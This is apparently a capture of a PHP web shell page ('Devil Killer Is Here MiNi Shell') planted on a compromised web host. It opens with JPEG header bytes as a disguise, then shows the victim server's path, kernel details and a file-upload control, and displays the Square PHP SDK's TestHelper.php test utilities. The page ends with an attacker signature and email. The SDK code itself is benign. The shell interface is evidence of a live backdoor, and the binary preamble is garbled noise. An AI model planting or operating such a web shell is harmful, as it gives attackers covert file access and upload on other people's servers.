JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom/square/square-php-sdk/tests/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom/square/square-php-sdk/tests/TestHelper.php

<?php
namespace Square\Tests;

use Square\ApiHelper;
use \apimatic\jsonmapper\JsonMapper;

/**
 * Configure Test Constants
 */
define("REQUEST_TIMEOUT", 30);
define("ASSERT_PRECISION", 0.01);

/**
 * Contains utility methods for comparing objects and arrays
 */
class TestHelper
{
    /**
     * Check whether the response array contains all expected values
     * @param  array  $expected  The expected values
     * @param  array  $response    The response from the endpoint call
     */
    public static function isArraySubset(
        array $expected,
        array $response
    ) {
        foreach (array_values($expected) as $eK => $eV) {
            $found = false;
            foreach (array_values($response) as $rK => $rV) {
                if ($eV == $rV)
                    $found = true;
            }
            if ($found == false) {
                throw new \Exception("Response array is missing values");
            }
        }
    }

    /**
     * Recursively check whether the leftTree is a proper subset of the right tree
     * @param   array   $leftTree       Left tree
     * @param   array   $rightTree      Right tree
     * @param   boolean $checkValues    Check primitive values for equality?
     * @param   boolean $allowExtra     Are extra elements allowed in right array?
     * @param   boolean $isOrdered      Should elements in right be compared in order to left?
     * @return  boolean                 True if leftTree is a subset of rightTree
     */
    public static function isProperSubsetOf(
        array $leftTree = null,
        array $rightTree = null,
        $checkValues,
        $allowExtra,
        $isOrdered
    ) {
    
        if ($leftTree == null) {
            return true;
        }

        for ($iterator = new \ArrayIterator($leftTree); $iterator->valid(); $iterator->next()) {
            $key = $iterator->key();
            $leftVal = $leftTree[$key];
            $rightVal = $rightTree[$key];

            // Check if key exists
            if (!array_key_exists($key, $rightTree)) {
                return false;
            }
            if (static::isAssoc($leftVal)) {
                // If left value is tree, right value should be be tree too
                if (static::isAssoc($rightVal)) {
                    if (!static::isProperSubsetOf(
                        $leftVal,
                        $rightVal,
                        $checkValues,
                        $allowExtra,
                        $isOrdered
                    )) {
                        return false;
                    }
                } else {
                    return false;
                }
            } else {
                // Value comparison if checkValues
                if ($checkValues) {
                    // If left value is a primitive, check if it equals right value
                    if (is_array($leftVal)) {
                        if (!is_array($rightVal)) {
                            return false;
                        }
                        if (count($leftVal) > 0 && static::isAssoc($leftVal[0])) {
                            if (!static::isArrayOfJsonObjectsProperSubsetOf(
                                $leftVal,
                                $rightVal,
                                $checkValues,
                                $allowExtra,
                                $isOrdered
                            )) {
                                return false;
                            }
                        } else {
                            if (!static::isListProperSubsetOf(
                                $leftVal,
                                $rightVal,
                                $allowExtra,
                                $isOrdered
                            )) {
                                return false;
                            }
                        }
                    } elseif (!$leftVal == $rightTree[$key] && !$leftVal == null) {
                        return false;
                    }
                }
            }
        }
        return true;
    }
    
    /**
     * Recursively check whether the left JSON object is a proper subset of the right JSON object
     * @param   array   $leftObject     Left JSON object as string
     * @param   array   $rightObject    Right JSON object as string
     * @param   boolean $checkValues    Check primitive values for equality?
     * @param   boolean $allowExtra     Are extra elements allowed in right array?
     * @param   boolean $isOrdered      Should elements in right be compared in order to left?
     * @return  boolean                 If Json object is a subset
     */
    public static function isJsonObjectProperSubsetOf(
        $leftObject,
        $rightObject,
        $checkValues,
        $allowExtra,
        $isOrdered
    ) {
    
        return static::isProperSubsetOf(
            ApiHelper::deserialize($leftObject),
            ApiHelper::deserialize($rightObject),
            $checkValues,
            $allowExtra,
            $isOrdered
        );
    }
    
    /**
     * Check if left array of objects is a subset of right array
     * @param   array   $leftObject     Left array as a JSON string
     * @param   array   $rightObject    Right array as a JSON string
     * @param   boolean $checkValues    Check primitive values for equality?
     * @param   boolean $allowExtra     Are extra elements allowed in right array?
     * @param   boolean $isOrdered      Should elements in right be compared in order to left?
     * @return  boolean                 True if it is a subset
     */
    public static function isArrayOfStringifiedJsonObjectsProperSubsetOf(
        $leftObject,
        $rightObject,
        $checkValues,
        $allowExtra,
        $isOrdered
    ) {
    
        // Deserialize left and right objects from their respective strings
        $left = ApiHelper::deserialize($leftObject);
        $right = ApiHelper::deserialize($rightObject);
        
        return static::isArrayOfJsonObjectsProperSubsetOf(
            $left,
            $right,
            $checkValues,
            $allowExtra,
            $isOrdered
        );
    }

    /**
     * Check if left array of objects is a subset of right array
     * @param   array   $left           Left array as a JSON string
     * @param   array   $right          Right array as a JSON string
     * @param   boolean $checkValues    Check primitive values for equality?
     * @param   boolean $allowExtra     Are extra elements allowed in right array?
     * @param   boolean $isOrdered      Should elements in right be compared in order to left?
     * @return  boolean                 True if it is a subset
     */
    public static function isArrayOfJsonObjectsProperSubsetOf(
        $left,
        $right,
        $checkValues,
        $allowExtra,
        $isOrdered
    ) {
    
        // Return false if size different and checking was strict
        if (!$allowExtra && count($left) != count($right)) {
            return false;
        }
        
        // Create list iterators
        $leftIter = (new \ArrayObject($left))->getIterator();
        $rightIter = (new \ArrayObject($right))->getIterator();
        
        // Iterate left list and check if each value is present in the right list
        while ($leftIter->valid()) {
            $leftIter->next();
            $leftTree = $leftIter->current();
            $found = false;
            
            // If order is not required, then search right array from beginning
            if (!$isOrdered) {
                $rightIter->rewind();
            }
            
            // Check each right element to see if left is a subset
            while ($rightIter->valid()) {
                $rightIter->next();
                if (static::isProperSubsetOf(
                    $leftTree,
                    $rightIter->current(),
                    $checkValues,
                    $allowExtra,
                    $isOrdered
                )) {
                    $found = true;
                    break;
                }
            }
            
            if (!$found) {
                return false;
            }
        }
        
        return true;
    }
    
    /**
     * Check whether the a list is a subset of another list
     * @param   array   $leftList   Expected List
     * @param   array   $rightList  List to check
     * @param   boolean $allowExtra Are extras allowed in the list to check?
     * @param   boolean $isOrdered  Should checking be in order?
     * @return  boolean             True if leftList is a subset of rightList
     */
    public static function isListProperSubsetOf(
        array $leftList,
        array $rightList,
        $allowExtra,
        $isOrdered
    ) {
    
        if ($isOrdered && !$allowExtra) {
            return $leftList === $rightList;
        } elseif ($isOrdered && $allowExtra) {
            return array_slice($rightList, 0, count($leftList)) === $leftList;
        } elseif (!$isOrdered && !$allowExtra) {
            return count($leftList) == count($rightList) &&
                array_intersect($leftList, $rightList) == $leftList;
        } elseif (!$isOrdered && $allowExtra) {
            return array_intersect($leftList, $rightList) == $leftList;
        }
        return true;
    }
    
    /**
     * Recursively check whether the left headers map is a proper subset of
     * the right headers map. Header keys & values are compared case-insensitive.
     *
     * @param  array    $leftTree       Left headers map
     * @param  array    $rightTree      Right headers map
     * @param  boolean  $checkValues    Check header values for equality?
     * @return boolean                  True if leftTree is a subset of rightTree
     */
    public static function areHeadersProperSubsetOf(
        array $leftTree,
        array $rightTree,
        $checkValues
    ) {
    
        // Http headers are case-insensitive
        $l = array_change_key_case($leftTree);
        $r = array_change_key_case($rightTree);

        return static::isProperSubsetOf($l, $r, $checkValues, true, false);
    }

    /**
     * Is array associative?
     * @param  mixed   $array Input
     * @return boolean        True if associative array
     */
    public static function isAssoc($array)
    {
        if (!is_array($array)) {
            return false;
        }

        // Keys of the array
        $keys = array_keys($array);

        // If the array keys of the keys match the keys, then the array must
        // not be associative (e.g. the keys array looked like {0:0, 1:1...}).
        return array_keys($keys) !== $keys;
    }

    /**
     * Downloads and gets a local path to a file URL.
     * Subsequent calls to the same URL will get the cached file.
     * @param  string $url URL of the file to download
     * @return string      Local path to the file
     */
    public static function getFile($url)
    {
        $filename = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "sdktests" . sha1($url) . "tmp";
        if (!file_exists($filename)) {
            file_put_contents($filename, fopen($url, 'r'));
        }
        return $filename;
    }

    /**
     * Fetches a file using getFile() and creates a Filewrapper instance.
     * @param  string $url URL of the file to download
     * @return string      FileWrapper instance
     */
    public static function getFileWrapper($url): \Square\Utils\FileWrapper
    {
        return \Square\Utils\FileWrapper::createFromPath(static::getFile($url));
    }

    /**
     * Downloads and gets contents of a  file URL.
     * Subsequent calls to the same URL will get the cached file.
     * @param  string $url URL of the file to download
     * @return binary      File contents
     */
    public static function getFileContents($url)
    {
        return file_get_contents(static::getFile($url));
    }

    /**
     * Get a new JsonMapper instance for mapping objects
     * @return \apimatic\jsonmapper\JsonMapper JsonMapper instance
     */
    public static function getJsonMapper()
    {
        $mapper = new JsonMapper();
        return $mapper;
    }
}

Creat By MiNi SheLL
Email: devilkiller@gmail.com